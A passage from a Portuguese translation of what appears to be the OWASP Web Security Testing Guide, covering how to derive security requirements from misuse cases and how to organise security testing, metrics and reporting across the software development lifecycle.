Os requisitos negativos são mais difíceis de testar, porque não há comportamento esperado a ser procurado. Procurar o comportamento esperado para
atender aos requisitos acima pode exigir que um analista de ameaças crie de forma irrealista condições de entrada, causas e efeitos imprevisíveis. Portanto,
os testes de segurança precisam ser orientados pela análise de risco e modelagem de ameaças.
A chave é documentar os cenários de ameaça e a funcionalidade da contramedida como um fator para mitigar uma ameaça.
Por exemplo, no caso de controles de autenticação, os seguintes requisitos de segurança podem ser documentados sob a perspectiva de ameaças e
contramedidas:
Criptografe dados de autenticação em armazenamento e trânsito para reduzir o risco de divulgação de informações e ataques de protocolo de
autenticação.
Criptografe senhas usando criptografia não reversível, como usar um resumo (por exemplo, HASH) e uma semente para evitar ataques de dicionário.
27
Bloqueie contas após atingir um limite de falha de logon e reforce a complexidade da senha para reduzir o risco de ataques de senha de força
bruta.
Exibir mensagens de erro genéricas após a validação de credenciais para reduzir o risco de colheita de conta ou
enumeração.
Autentique mutuamente o cliente e o servidor para evitar ataques de não repúdio e do Manipulator In the Middle (MiTM).
As ferramentas de modelagem de ameaças, como árvores de ameaças e bibliotecas de ataques, podem ser úteis para derivar os cenários de teste
negativos. Uma árvore de ameaças assumirá um ataque de raiz (por exemplo, o invasor pode ser capaz de ler as mensagens de outros usuários) e
identificar diferentes explorações de controles de segurança (por exemplo, validação de dados falha devido a uma vulnerabilidade de injeção de
SQL) e contramedidas necessárias (por exemplo, implementar dados validação e consultas parametrizadas) que podem ser validadas para serem
eficazes na mitigação de tais ataques.
Derivação de requisitos de teste de segurança por meio de casos de uso e uso indevido
Um pré-requisito para descrever a funcionalidade do aplicativo é entender o que o aplicativo deve fazer e como. Isso pode ser feito descrevendo
casos de uso. Os casos de uso, na forma gráfica comumente usada na engenharia de software, mostram as interações dos atores e suas relações.
Eles ajudam a identificar os atores da aplicação, seus relacionamentos, a sequência pretendida de ações para cada cenário, ações alternativas,
requisitos especiais, pré-condições e pós-condições.
Semelhante aos casos de uso, os casos de uso indevido ou abuso descrevem cenários de uso não intencional e mal-intencionado do aplicativo.
Esses casos de uso indevido fornecem uma maneira de descrever cenários de como um invasor pode fazer uso indevido e abusar do aplicativo.
Ao percorrer as etapas individuais em um cenário de uso e pensar em como ele pode ser explorado de forma maliciosa, podem ser descobertas
possíveis falhas ou aspectos do aplicativo que não estão bem definidos. A chave é descrever todos os cenários possíveis ou, pelo menos, os mais
críticos de uso e mau uso.
Os cenários de uso indevido permitem a análise da aplicação do ponto de vista do invasor e contribuem para a identificação de possíveis
vulnerabilidades e das contramedidas que precisam ser implementadas para mitigar o impacto causado pela possível exposição a tais vulnerabilidades.
Diante de todos os casos de uso e abuso, é importante analisá-los para determinar quais são os mais críticos e precisam ser documentados nos
requisitos de segurança. A identificação dos casos de uso indevido e abuso mais críticos orienta a documentação dos requisitos de segurança e os
controles necessários onde os riscos de segurança devem ser mitigados.
Para derivar requisitos de segurança de casos de uso e uso indevido, é importante definir os cenários funcionais e os cenários negativos e colocá-
los em forma gráfica. O exemplo a seguir é uma metodologia passo a passo para o caso de derivação de requisitos de segurança para autenticação.
Passo 1: Descrever o Cenário Funcional
O usuário autentica fornecendo um nome de usuário e senha. O aplicativo concede acesso aos usuários com base na autenticação das credenciais
do usuário pelo aplicativo e fornece erros específicos ao usuário quando a validação falha.
Passo 2: Descreva o Cenário Negativo
O invasor quebra a autenticação por meio de força bruta ou ataque de dicionário de senhas e vulnerabilidades de coleta de contas no aplicativo. Os
erros de validação fornecem informações específicas para um invasor que é usado para adivinhar quais contas são contas registradas válidas (nomes
de usuário). O invasor então tenta forçar a senha de uma conta válida. Um ataque de força bruta em senhas com comprimento mínimo de quatro
dígitos pode ser bem-sucedido com um número limitado de tentativas (ou seja, 10^4).
Etapa 3: Descrever Cenários Funcionais e Negativos com Casos de Uso e Uso Indevido
O exemplo gráfico abaixo descreve a derivação de requisitos de segurança por meio de casos de uso e mau uso. O cenário funcional consiste nas
ações do usuário (inserir um nome de usuário e senha) e nas ações do aplicativo (autenticar o usuário e fornecer uma mensagem de erro se a
validação falhar). O caso de uso indevido consiste nas ações do invasor, ou seja, tentar quebrar a autenticação forçando a senha por meio de um
ataque de dicionário e adivinhando os nomes de usuário válidos das mensagens de erro. Ao representar graficamente as ameaças às ações do
usuário (usos indevidos), é possível derivar as contramedidas como as ações do aplicativo que mitigam tais ameaças.
28
Figura 2-5: Caso de uso e mau uso
Passo 4: Elimine os Requisitos de Segurança
Nesse caso, os seguintes requisitos de segurança para autenticação são derivados:
1. Os requisitos de senhas devem estar alinhados com os padrões atuais para complexidade suficiente.
2. As contas devem ser bloqueadas após cinco tentativas de login malsucedidas.
3. As mensagens de erro de login devem ser genéricas.
Esses requisitos de segurança precisam ser documentados e testados.
Testes de segurança integrados em fluxos de trabalho de desenvolvimento e teste

Teste de segurança no fluxo de trabalho de desenvolvimento
29
O teste de segurança durante a fase de desenvolvimento do SDLC representa a primeira oportunidade para os desenvolvedores garantirem
que os componentes de software individuais que desenvolveram sejam testados quanto à segurança antes de serem integrados a outros
componentes ou incorporados ao aplicativo. Os componentes de software podem consistir em artefatos de software, como funções, métodos
e classes, bem como interfaces de programação de aplicativos, bibliotecas e arquivos executáveis. Para testes de segurança, os
desenvolvedores podem confiar nos resultados da análise do código-fonte para verificar estaticamente se o código-fonte desenvolvido não
inclui vulnerabilidades potenciais e está em conformidade com os padrões de codificação segura. Os testes de unidade de segurança podem
verificar dinamicamente (ou seja, em tempo de execução) se os componentes funcionam conforme o esperado. Antes de integrar alterações
de código novas e existentes na construção do aplicativo, os resultados da análise estática e dinâmica devem ser revisados e validados.
A validação do código-fonte antes da integração nas compilações do aplicativo geralmente é de responsabilidade do desenvolvedor sênior. Os
desenvolvedores seniores geralmente são especialistas no assunto em segurança de software e sua função é liderar a revisão de código
seguro. Eles devem decidir se aceitam o código a ser liberado na compilação do aplicativo ou exigem mais alterações e testes. Esse fluxo de
trabalho de revisão de código seguro pode ser aplicado por meio de aceitação formal, bem como uma verificação em uma ferramenta de
gerenciamento de fluxo de trabalho. Por exemplo, assumindo o fluxo de trabalho típico de gerenciamento de defeitos usado para bugs
funcionais, os bugs de segurança que foram corrigidos por um desenvolvedor podem ser relatados em um sistema de gerenciamento de
defeitos ou mudanças. O mestre de construção pode examinar os resultados do teste relatados pelos desenvolvedores na ferramenta e
conceder aprovações para verificar as alterações de código na construção do aplicativo.
Teste de segurança no fluxo de trabalho de teste
Depois que os componentes e as alterações de código são testados pelos desenvolvedores e verificados na compilação do aplicativo, a
próxima etapa mais provável no fluxo de trabalho do processo de desenvolvimento de software é realizar testes no aplicativo como uma
entidade inteira. Este nível de teste é geralmente referido como teste integrado e teste de nível de sistema. Quando os testes de segurança
fazem parte dessas atividades de teste, eles podem ser usados para validar tanto a funcionalidade de segurança do aplicativo como um todo,
quanto a exposição a vulnerabilidades no nível do aplicativo. Esses testes de segurança no aplicativo incluem testes de caixa branca, como
análise de código-fonte, e testes de caixa preta, como testes de penetração. Os testes também podem incluir testes de caixa cinza, nos quais
se supõe que o testador tenha algum conhecimento parcial sobre o aplicativo. Por exemplo, com algum conhecimento sobre o gerenciamento
de sessão do aplicativo, o testador pode entender melhor se as funções de logoff e tempo limite estão devidamente protegidas.
O alvo dos testes de segurança é o sistema completo vulnerável a ataques. Durante esta fase, é possível para os testadores de segurança
determinar se as vulnerabilidades podem ser exploradas. Isso inclui vulnerabilidades comuns de aplicativos da Web, bem como problemas de
segurança que foram identificados anteriormente no SDLC com outras atividades, como modelagem de ameaças, análise de código-fonte e
revisões de código seguro.
Normalmente, os engenheiros de teste, e não os desenvolvedores de software, realizam testes de segurança quando o aplicativo está no
escopo dos testes do sistema de integração. Os engenheiros de teste têm conhecimento de segurança de vulnerabilidades de aplicativos da
Web, técnicas de teste de caixa preta e caixa branca e possuem a validação dos requisitos de segurança nesta fase. Para realizar testes de
segurança, é um pré-requisito que os casos de teste de segurança sejam documentados nas diretrizes e procedimentos de teste de segurança.
Um engenheiro de teste que valida a segurança do aplicativo no ambiente de sistema integrado pode liberar o aplicativo para teste no ambiente
operacional (por exemplo, testes de aceitação do usuário). Nesta fase do SDLC (ou seja, validação), o teste funcional do aplicativo geralmente
é responsabilidade dos testadores de controle de qualidade, enquanto hackers de chapéu branco ou consultores de segurança geralmente
são responsáveis pelos testes de segurança. Algumas organizações contam com sua própria equipe especializada de hacking ético para
realizar esses testes quando uma avaliação de terceiros não é necessária (como para fins de auditoria).
Como esses testes às vezes podem ser a última linha de defesa para corrigir vulnerabilidades antes que o aplicativo seja liberado para
produção, é importante que os problemas sejam resolvidos conforme recomendado pela equipe de teste. As recomendações podem incluir
mudança de código, design ou configuração. Nesse nível, os auditores de segurança e os oficiais de segurança da informação discutem os
problemas de segurança relatados e analisam os riscos potenciais de acordo com os procedimentos de gerenciamento de risco da informação.
Esses procedimentos podem exigir que a equipe de desenvolvimento corrija todas as vulnerabilidades de alto risco antes que o aplicativo
possa ser implantado, a menos que tais riscos sejam reconhecidos e aceitos.
Testes de segurança do desenvolvedor

30
Teste de segurança na fase de codificação: testes de unidade
Do ponto de vista do desenvolvedor, o principal objetivo dos testes de segurança é validar se o código está sendo desenvolvido em conformidade com os
requisitos dos padrões de codificação segura. Os próprios artefatos de codificação dos desenvolvedores (como funções, métodos, classes, APIs e
bibliotecas) precisam ser funcionalmente validados antes de serem integrados à construção do aplicativo.
Os requisitos de segurança que os desenvolvedores devem seguir devem ser documentados em padrões de codificação seguros e validados com análises
estáticas e dinâmicas. Se a atividade de teste de unidade seguir uma revisão de código seguro, os testes de unidade podem validar se as alterações de
código exigidas pelas revisões de código seguro foram implementadas corretamente. As revisões de código seguro e a análise de código-fonte por meio
de ferramentas de análise de código-fonte podem ajudar os desenvolvedores a identificar problemas de segurança no código-fonte à medida que ele é
desenvolvido. Ao usar testes de unidade e análise dinâmica (por exemplo, depuração), os desenvolvedores podem validar a funcionalidade de segurança
dos componentes, bem como verificar se as contramedidas desenvolvidas atenuam quaisquer riscos de segurança previamente identificados por meio de
modelagem de ameaças e análise de código-fonte.
Uma boa prática para desenvolvedores é criar casos de teste de segurança como um conjunto de teste de segurança genérico que faz parte da estrutura
de teste de unidade existente. Um conjunto genérico de testes de segurança pode ser derivado de casos de uso e uso indevido previamente definidos
para funções, métodos e classes de teste de segurança. Um conjunto genérico de testes de segurança pode incluir casos de teste de segurança para
validar requisitos positivos e negativos para controles de segurança, como:
Identidade, autenticação e controle de acesso
Validação e codificação de entrada
Criptografia
Gerenciamento de usuários e sessões
Tratamento de erros e exceções
Auditoria e registro
Os desenvolvedores capacitados com uma ferramenta de análise de código-fonte integrada em seu IDE, padrões de codificação seguros e uma estrutura
de teste de unidade de segurança podem avaliar e verificar a segurança dos componentes de software que estão sendo desenvolvidos.
Casos de teste de segurança podem ser executados para identificar possíveis problemas de segurança que têm causas raiz no código-fonte: além da
validação de entrada e saída de parâmetros entrando e saindo dos componentes, esses problemas incluem verificações de autenticação e autorização
feitas pelo componente, proteção dos dados dentro do componente, tratamento seguro de exceções e erros e auditoria e registro seguros. Estruturas de
teste de unidade como JUnit, NUnit e CUnit podem ser adaptadas para verificar os requisitos de teste de segurança. No caso de testes funcionais de
segurança, os testes de nível de unidade podem testar a funcionalidade dos controles de segurança no nível do componente de software, como funções,
métodos ou classes. Por exemplo, um caso de teste pode validar a validação de entrada e saída (por exemplo, saneamento de variáveis) e verificações
de limites para variáveis afirmando a funcionalidade esperada do componente.
Os cenários de ameaças identificados com casos de uso e uso indevido podem ser usados para documentar os procedimentos para testar componentes
de software. No caso de componentes de autenticação, por exemplo, os testes de unidade de segurança podem afirmar a funcionalidade de definir um
bloqueio de conta, bem como o fato de que os parâmetros de entrada do usuário não podem ser abusados para contornar o bloqueio de conta (por
exemplo, definindo o contador de bloqueio de conta para um número negativo).
No nível do componente, os testes de unidade de segurança podem validar asserções positivas, bem como asserções negativas, como erros e manipulação
de exceção. Exceções devem ser capturadas sem deixar o sistema em um estado inseguro, como possível negação de serviço causada por recursos não
desalocados (por exemplo, identificadores de conexão não fechados em um bloco de instrução final), bem como elevação potencial de privilégios (por
exemplo , privilégios mais altos adquiridos antes da exceção ser lançada e não redefinidos para o nível anterior antes de sair da função). O tratamento
seguro de erros pode validar a possível divulgação de informações por meio de mensagens de erro informativas e rastreamentos de pilha.
Os casos de teste de segurança em nível de unidade podem ser desenvolvidos por um engenheiro de segurança que é o especialista no assunto em
segurança de software e também é responsável por validar se os problemas de segurança no código-fonte foram corrigidos e podem ser verificados na
construção do sistema integrado. Normalmente, o gerente das compilações de aplicativos também garante que as bibliotecas de terceiros e os arquivos
executáveis sejam avaliados quanto a possíveis vulnerabilidades antes de serem integrados na compilação do aplicativo.
31
Cenários de ameaças para vulnerabilidades comuns que têm causas raiz em codificação insegura também podem ser documentados no guia de
teste de segurança do desenvolvedor. Quando uma correção é implementada para um defeito de codificação identificado com a análise do
código-fonte, por exemplo, os casos de teste de segurança podem verificar se a implementação da alteração do código segue os requisitos de
codificação segura documentados nos padrões de codificação segura.
A análise do código-fonte e os testes de unidade podem validar se a alteração do código mitiga a vulnerabilidade exposta pelo defeito de
codificação identificado anteriormente. Os resultados da análise automatizada de código seguro também podem ser usados como portões de
check-in automáticos para controle de versão, por exemplo, artefatos de software não podem ser verificados na compilação com problemas de
codificação de gravidade alta ou média.
Testes de segurança dos Functional Testers

Teste de segurança durante a fase de integração e validação: testes de sistema integrado e testes de operação
O principal objetivo dos testes de sistemas integrados é validar o conceito de “defesa em profundidade”, ou seja, que a implementação de
controles de segurança fornece segurança em diferentes camadas. Por exemplo, a falta de validação de entrada ao chamar um componente
integrado ao aplicativo geralmente é um fator que pode ser testado com testes de integração.
O ambiente de teste do sistema de integração também é o primeiro ambiente onde os testadores podem simular cenários reais de ataque, pois
podem ser potencialmente executados por um usuário interno ou externo malicioso do aplicativo. O teste de segurança nesse nível pode validar
se as vulnerabilidades são reais e podem ser exploradas por invasores. Por exemplo, uma vulnerabilidade potencial encontrada no código-fonte
pode ser classificada como de alto risco devido à exposição a possíveis usuários mal-intencionados, bem como devido ao impacto potencial (por
exemplo, acesso a informações confidenciais).
Cenários de ataque reais podem ser testados com técnicas de teste manual e ferramentas de teste de penetração. Testes de segurança desse
tipo também são chamados de testes de hacking ético. Do ponto de vista dos testes de segurança, são testes direcionados ao risco e têm como
objetivo testar a aplicação no ambiente operacional. O destino é a construção do aplicativo que representa a versão do aplicativo que está sendo
implantado na produção.
Incluir testes de segurança na fase de integração e validação é fundamental para identificar vulnerabilidades devido à integração de componentes,
bem como validar a exposição de tais vulnerabilidades. O teste de segurança de aplicativos requer um conjunto especializado de habilidades,
incluindo conhecimento de software e segurança, que não são típicos dos engenheiros de segurança. Como resultado, as organizações
geralmente são obrigadas a treinar seus desenvolvedores de software em técnicas de hacking ético e procedimentos e ferramentas de avaliação
de segurança. Um cenário realista é desenvolver tais recursos internamente e documentá-los em guias e procedimentos de teste de segurança
que levem em consideração o conhecimento de teste de segurança do desenvolvedor. Uma chamada “folha de verificação ou lista de verificação
de casos de teste de segurança”, por exemplo, pode fornecer casos de teste simples e vetores de ataque que podem ser usados pelos testadores
para validar a exposição a vulnerabilidades comuns, como falsificação, divulgação de informações, estouro de buffer, strings de formato, SQL
injeção e injeção de XSS, XML, SOAP, problemas de canonização, negação de serviço e código gerenciado e controles ActiveX (por
exemplo, .NET). Uma primeira bateria desses testes pode ser realizada manualmente com um conhecimento muito básico de segurança de
software.
O primeiro objetivo dos testes de segurança pode ser a validação de um conjunto de requisitos mínimos de segurança. Esses casos de teste de
segurança podem consistir em forçar manualmente o aplicativo a entrar em estados de erro e excepcionais e obter conhecimento do
comportamento do aplicativo. Por exemplo, as vulnerabilidades de injeção SQL podem ser testadas manualmente injetando vetores de ataque
por meio da entrada do usuário e verificando se as exceções SQL são lançadas de volta para o usuário. A evidência de um erro de exceção SQL
pode ser uma manifestação de uma vulnerabilidade que pode ser explorada.
Um teste de segurança mais aprofundado pode exigir o conhecimento do testador sobre técnicas e ferramentas de teste especializadas. Além
da análise de código-fonte e teste de penetração, essas técnicas incluem, por exemplo: código-fonte e injeção de falha binária, análise de
propagação de falha e cobertura de código, teste fuzz e engenharia reversa. O guia de teste de segurança deve fornecer procedimentos e
ferramentas recomendadas que podem ser usadas pelos testadores de segurança para realizar essas avaliações de segurança detalhadas.
O próximo nível de teste de segurança após os testes do sistema de integração é realizar testes de segurança no ambiente de aceitação do
usuário. Existem vantagens exclusivas na realização de testes de segurança no ambiente operacional. O ambiente de teste de aceitação do
usuário (UAT) é o mais representativo da configuração de lançamento, com exceção dos dados (por exemplo, dados de teste são usados no
lugar de dados reais). Uma característica do teste de segurança no UAT é testar
32
problemas de configuração de segurança. Em alguns casos, essas vulnerabilidades podem representar altos riscos. Por exemplo, o servidor que
hospeda o aplicativo da web pode não estar configurado com privilégios mínimos, certificado SSL válido e configuração segura, serviços essenciais
desativados e diretório raiz da web limpo de páginas da web de teste e administração.
Análise e relatório de dados de teste de segurança

Metas para métricas e medições de teste de segurança
Definir as metas para as métricas e medições de teste de segurança é um pré-requisito para usar dados de teste de segurança para análise de risco
e processos de gerenciamento. Por exemplo, uma medida, como o número total de vulnerabilidades encontradas em testes de segurança, pode
quantificar a postura de segurança do aplicativo. Essas medições também ajudam a identificar objetivos de segurança para testes de segurança de
software, por exemplo, reduzir o número de vulnerabilidades a um número mínimo aceitável antes que o aplicativo seja implantado na produção.
Outra meta gerenciável poderia ser comparar a postura de segurança do aplicativo com uma linha de base para avaliar as melhorias nos processos
de segurança do aplicativo. Por exemplo, a linha de base das métricas de segurança pode consistir em um aplicativo que foi testado apenas com
testes de penetração. Os dados de segurança obtidos de um aplicativo que também foi testado durante a codificação devem mostrar uma melhoria
(por exemplo, menos vulnerabilidades) quando comparados com os
linha de base.
No teste de software tradicional, o número de defeitos de software, como os bugs encontrados em um aplicativo, pode fornecer uma medida da
qualidade do software. Da mesma forma, o teste de segurança pode fornecer uma medida de segurança de software. Do ponto de vista do
gerenciamento e relatório de defeitos, o teste de segurança e qualidade de software pode usar categorizações semelhantes para causas raiz e
esforços de correção de defeitos. Da perspectiva da causa raiz, um defeito de segurança pode ser devido a um erro no projeto (por exemplo, falhas
de segurança) ou devido a um erro na codificação (por exemplo, bug de segurança). Do ponto de vista do esforço necessário para corrigir um defeito,
os defeitos de segurança e qualidade podem ser medidos em termos de horas do desenvolvedor para implementar a correção, as ferramentas e os
recursos necessários e o custo para implementar a correção.
Uma característica dos dados de teste de segurança, em comparação com os dados de qualidade, é a categorização em termos de ameaça, exposição
da vulnerabilidade e impacto potencial representado pela vulnerabilidade para determinar o risco. Testar aplicativos para segurança consiste em
gerenciar riscos técnicos para garantir que as contramedidas do aplicativo atendam a níveis aceitáveis. Por esse motivo, os dados de teste de
segurança precisam oferecer suporte à estratégia de risco de segurança em pontos de verificação críticos durante o SDLC. Por exemplo,
vulnerabilidades encontradas no código-fonte com análise de código-fonte representam uma medida inicial de risco.
Uma medida de risco (por exemplo, alto, médio, baixo) para a vulnerabilidade pode ser calculada determinando os fatores de exposição e probabilidade
e validando a vulnerabilidade com testes de penetração. As métricas de risco associadas às vulnerabilidades encontradas nos testes de segurança
capacitam a gestão de negócios a tomar decisões de gerenciamento de riscos, como decidir se os riscos podem ser aceitos, mitigados ou transferidos
em diferentes níveis dentro da organização (por exemplo, riscos comerciais e técnicos).
Ao avaliar a postura de segurança de um aplicativo, é importante levar em consideração alguns fatores, como o tamanho do aplicativo que está sendo
desenvolvido. Foi comprovado estatisticamente que o tamanho do aplicativo está relacionado ao número de problemas encontrados no aplicativo
durante o teste. Como o teste reduz os problemas, é lógico que aplicativos de tamanho maior sejam testados com mais frequência do que aplicativos
de tamanho menor.
Quando o teste de segurança é feito em várias fases do SDLC, os dados do teste podem provar a capacidade dos testes de segurança em detectar
vulnerabilidades assim que são introduzidas. Os dados de teste também podem provar a eficácia da remoção das vulnerabilidades implementando
contramedidas em diferentes pontos de verificação do SDLC. Uma medição desse tipo também é definida como “métrica de contenção” e fornece uma
medida da capacidade de uma avaliação de segurança realizada em cada fase do processo de desenvolvimento para manter a segurança em cada
fase. Essas métricas de contenção também são um fator crítico para reduzir o custo de correção das vulnerabilidades. É mais barato lidar com as
vulnerabilidades na mesma fase do SDLC em que foram encontradas, em vez de corrigi-las posteriormente em outra fase.
As métricas de teste de segurança podem oferecer suporte à análise de gerenciamento de riscos, custos e defeitos de segurança quando associadas
a metas tangíveis e cronometradas, como:
Reduzindo o número geral de vulnerabilidades em 30%.
Correção de problemas de segurança em um determinado prazo (por exemplo, antes do lançamento beta).
33
Os dados do teste de segurança podem ser absolutos, como o número de vulnerabilidades detectadas durante a revisão manual do código, bem como comparativos, como o
número de vulnerabilidades detectadas nas revisões de código em comparação com os testes de penetração. Para responder a perguntas sobre a qualidade do processo de
segurança, é importante determinar uma linha de base para o que pode ser considerado aceitável e bom.
Os dados de teste de segurança também podem oferecer suporte a objetivos específicos da análise de segurança. Esses objetivos podem ser conformidade com regulamentos
de segurança e padrões de segurança da informação, gerenciamento de processos de segurança, identificação de causas raiz de segurança e melhorias de processo e análise de
custo-benefício de segurança.
Quando os dados de teste de segurança são relatados, eles devem fornecer métricas para dar suporte à análise. O escopo da análise é a interpretação dos dados de teste para
encontrar pistas sobre a segurança do software que está sendo produzido, bem como a eficácia do processo.
Alguns exemplos de pistas suportadas por dados de teste de segurança podem ser:
As vulnerabilidades são reduzidas a um nível aceitável para lançamento?
Como a qualidade de segurança deste produto se compara a produtos de software semelhantes?
Todos os requisitos de teste de segurança estão sendo atendidos?
Quais são as principais causas dos problemas de segurança?
Quão numerosas são as falhas de segurança em comparação com os bugs de segurança?
Qual atividade de segurança é mais eficaz para encontrar vulnerabilidades?
Qual equipe é mais produtiva na correção de defeitos e vulnerabilidades de segurança?
Que porcentagem das vulnerabilidades gerais são de alto risco?
Quais ferramentas são mais eficazes na detecção de vulnerabilidades de segurança?
Que tipo de teste de segurança é mais eficaz para encontrar vulnerabilidades (por exemplo, testes de caixa branca versus caixa preta)?
Quantos problemas de segurança são encontrados durante as revisões de código seguro?
Quantos problemas de segurança são encontrados durante as revisões de design seguro?
Para fazer um bom julgamento usando os dados de teste, é importante ter um bom entendimento do processo de teste, bem como das ferramentas de teste. Uma taxonomia de
ferramenta deve ser adotada para decidir quais ferramentas de segurança usar. As ferramentas de segurança podem ser qualificadas como boas para encontrar vulnerabilidades
comuns e conhecidas, ao direcionar diferentes artefatos.
É importante observar que problemas de segurança desconhecidos não são testados. O fato de um teste de segurança estar livre de problemas não significa que o software ou
aplicativo seja bom.
Mesmo as ferramentas de automação mais sofisticadas não são páreo para um testador de segurança experiente. Confiar apenas nos resultados de testes bem-sucedidos de
ferramentas automatizadas dará aos profissionais de segurança uma falsa sensação de segurança. Normalmente, quanto mais experientes os testadores de segurança tiverem
com a metodologia e as ferramentas de teste de segurança, melhores serão os resultados do teste e da análise de segurança. É importante que os gestores que investem em
ferramentas de testes de segurança considerem também o investimento na contratação de recursos humanos qualificados, bem como treinamento em testes de segurança.
Requisitos de relatório A postura de
segurança de um aplicativo pode ser caracterizada do ponto de vista do efeito, como número de vulnerabilidades e classificação de risco das vulnerabilidades, bem como do ponto
de vista da causa ou origem, como erros de codificação, falhas de arquitetura e problemas de configuração.
As vulnerabilidades podem ser classificadas de acordo com diferentes critérios. A métrica de gravidade de vulnerabilidade mais comumente usada é o Common Vulnerability
Scoring System (CVSS), um padrão mantido pelo Forum of Incident Response and Security Teams (FIRST).
Ao relatar dados de teste de segurança, a melhor prática é incluir as seguintes informações:
uma categorização de cada vulnerabilidade por tipo;
a ameaça de segurança a que cada problema está exposto;

34
a causa raiz de cada problema de segurança, como o bug ou falha;
cada técnica de teste usada para encontrar os problemas;
a correção ou contramedida para cada vulnerabilidade; e a classificação de
gravidade de cada vulnerabilidade (por exemplo, pontuação alta, média, baixa ou CVSS).
Ao descrever qual é a ameaça à segurança, será possível entender se e por que o controle de mitigação é ineficaz para mitigar a ameaça.
Relatar a causa raiz do problema pode ajudar a identificar o que precisa ser corrigido. No caso de teste de caixa branca, por exemplo, a causa raiz da
vulnerabilidade de segurança de software será o código-fonte ofensivo.
Depois que os problemas são relatados, também é importante fornecer orientação ao desenvolvedor de software sobre como testar novamente e encontrar
a vulnerabilidade. Isso pode envolver o uso de uma técnica de teste de caixa branca (por exemplo, revisão de código de segurança com um analisador de
código estático) para descobrir se o código é vulnerável. Se uma vulnerabilidade puder ser encontrada por meio de um teste de penetração de caixa preta,
o relatório de teste também precisará fornecer informações sobre como validar a exposição da vulnerabilidade ao front-end (por exemplo, cliente).
As informações sobre como corrigir a vulnerabilidade devem ser detalhadas o suficiente para que um desenvolvedor implemente uma correção. Ele deve
fornecer exemplos de codificação segura, alterações de configuração e fornecer referências adequadas.
Finalmente, a classificação de gravidade contribui para o cálculo da classificação de risco e ajuda a priorizar o esforço de remediação.
Normalmente, atribuir uma classificação de risco à vulnerabilidade envolve análise de risco externa com base em fatores como impacto e exposição.
Casos de negócios
Para que as métricas de teste de segurança sejam úteis, elas precisam fornecer valor de volta às partes interessadas dos dados de teste de segurança da
organização. As partes interessadas podem incluir gerentes de projeto, desenvolvedores, escritórios de segurança da informação, auditores e diretores de
informações. O valor pode ser em termos do caso de negócios que cada parte interessada do projeto possui, em termos de função e responsabilidade.
Os desenvolvedores de software analisam os dados de teste de segurança para mostrar que o software é codificado de forma segura e eficiente. Isso
permite que eles defendam o uso de ferramentas de análise de código-fonte, seguindo padrões de codificação seguros e participando de treinamento de
segurança de software.
Os gerentes de projeto procuram dados que lhes permitam gerenciar e utilizar com sucesso atividades e recursos de teste de segurança de acordo com o
plano do projeto. Para os gerentes de projeto, os dados de teste de segurança podem mostrar que os projetos estão dentro do cronograma e seguindo as
datas de entrega e estão melhorando durante os testes.
Os dados de teste de segurança também ajudam no caso de negócios para testes de segurança se a iniciativa vier dos oficiais de segurança da informação
(ISOs). Por exemplo, ele pode fornecer evidências de que o teste de segurança durante o SDLC não afeta a entrega do projeto, mas reduz a carga de
trabalho geral necessária para lidar com vulnerabilidades posteriormente na produção.
Para auditores de conformidade, as métricas de teste de segurança fornecem um nível de garantia de segurança de software e confiança de que a
conformidade com o padrão de segurança é abordada por meio dos processos de revisão de segurança dentro da organização.
Finalmente, Chief Information Officers (CIOs) e Chief Information Security Officers (CISOs), que são responsáveis pelo orçamento que precisa ser alocado
em recursos de segurança, buscam derivar uma análise de custo-benefício a partir de dados de teste de segurança. Isso permite que eles tomem decisões
informadas sobre quais atividades e ferramentas de segurança investir. Uma das métricas que suportam essa análise é o retorno sobre o investimento
(ROI) em segurança. Para derivar essas métricas de dados de teste de segurança, é importante quantificar o diferencial entre o risco, devido à exposição
de vulnerabilidades, e a eficácia dos testes de segurança na mitigação do risco de segurança e, em seguida, fatorar essa lacuna com o custo da segurança
atividade de teste ou as ferramentas de teste adotadas.
Referências
Pesquisa do Instituto Nacional de Padrões dos EUA (NIST) de 2002 sobre o custo de software inseguro para a economia dos EUA devido a testes
de software inadequados
35
A estrutura de teste OWASP
3.1 A estrutura de teste de segurança da Web
3.2 Fase 1 antes do início do desenvolvimento
3.3 Fase 2 Durante a Definição e Projeto
3.4 Fase 3 Durante o Desenvolvimento
3.5 Fase 4 durante a implantação
3.6 Fase 5 Durante a Manutenção e Operações
3.7 Um fluxo de trabalho de teste SDLC típico
3.8 Metodologias de Teste de Penetração

36
A estrutura de teste de segurança da Web
Visão geral
Esta seção descreve uma estrutura de teste típica que pode ser desenvolvida dentro de uma organização. Pode ser visto como uma estrutura de referência
composta por técnicas e tarefas apropriadas em várias fases do ciclo de vida de desenvolvimento de software (SDLC). Empresas e equipes de projeto podem
usar esse modelo para desenvolver sua própria estrutura de teste e definir o escopo dos serviços de teste de fornecedores. Essa estrutura não deve ser vista
como prescritiva, mas como uma abordagem flexível que pode ser estendida e moldada para se adequar ao processo de desenvolvimento e à cultura de uma
organização.
Esta seção visa ajudar as organizações a construir um processo de teste estratégico completo e não se destina a consultores ou contratados que tendem a se
envolver em áreas de teste mais táticas e específicas.
É fundamental entender por que a construção de uma estrutura de teste de ponta a ponta é crucial para avaliar e melhorar a segurança do software. Em Writing
Secure Code, Howard e LeBlanc observam que a emissão de um boletim de segurança custa à Microsoft pelo menos US$ 100.000, e seus clientes coletivamente
custam muito mais do que isso para implementar os patches de segurança. Eles também observam que o site de crimes cibernéticos do governo dos EUA
detalha casos criminais recentes e a perda para as organizações. As perdas típicas excedem em muito US$ 100.000.
Com economia como esta, não é de admirar por que os fornecedores de software passam de testes de segurança de caixa-preta, que só podem ser executados
em aplicativos que já foram desenvolvidos, para se concentrar em testes nos primeiros ciclos de desenvolvimento de aplicativos, como durante definição, projeto
e desenvolvimento.
Muitos profissionais de segurança ainda veem os testes de segurança no campo dos testes de penetração. Conforme discutido no capítulo anterior, embora o
teste de penetração tenha um papel a desempenhar, geralmente é ineficiente para encontrar bugs e depende excessivamente da habilidade do testador. Deve
ser considerado apenas como uma técnica de implementação ou para aumentar a conscientização sobre questões de produção. Para melhorar a segurança dos
aplicativos, a qualidade de segurança do software deve ser aprimorada. Isso significa testar a segurança durante os estágios de definição, design,
desenvolvimento, implantação e manutenção, e não depender da dispendiosa estratégia de esperar até que o código seja totalmente criado.
Conforme discutido na introdução deste documento, existem muitas metodologias de desenvolvimento, como o Rational Unified Process, o desenvolvimento
eXtreme e Agile e as tradicionais metodologias em cascata. A intenção deste guia não é sugerir uma metodologia de desenvolvimento específica, nem fornecer
orientações específicas que sigam qualquer metodologia específica. Em vez disso, estamos apresentando um modelo de desenvolvimento genérico, e o leitor
deve segui-lo de acordo com o processo de sua empresa.
